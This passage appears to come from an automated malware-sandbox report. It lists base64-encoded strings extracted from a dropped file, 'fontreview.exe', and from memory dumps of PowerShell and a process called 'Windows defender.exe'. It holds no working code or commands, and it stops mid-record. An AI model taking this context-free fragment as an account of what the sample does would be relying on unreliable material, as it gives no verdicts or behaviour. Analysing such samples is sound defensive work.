File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25EZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25NYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25QYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25TY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25TZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25TcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25UYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25UZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25Ub2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ0Jhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ0RlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ0dsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ01hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ01hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ1JlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ1NwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ1Rlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25GYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25NZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25SZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25UZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ3VyYXRpb25Xb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25NZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25SZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25SZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25TZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVySXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVySXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRhaW5lckFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRhaW5lclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRhaW5lclNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRhaW5lclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHREZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnRleHRUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X2NvbnRyb2xmcA==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0NvckV4ZU1haW4=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N1c3RvbWVyRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N1c3RvbWVyUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N1c3RvbWVyUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N1c3RvbWVyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N1c3RvbWVyVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0N4eFRocm93RXhjZXB0aW9u","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RhdGFiYXNlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25GYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25HbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25QYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25Qcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25SZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25SZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25UYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25Xb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY0NvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY0ZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY1BhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY1JlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RpY1Rva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rpc3BhdGNoZXJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rpc3BhdGNoZXJQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rpc3BhdGNoZXJUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50QWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50QWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50RGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50RmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50SXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50TWFw","type":"Ansi","source":"Dropped 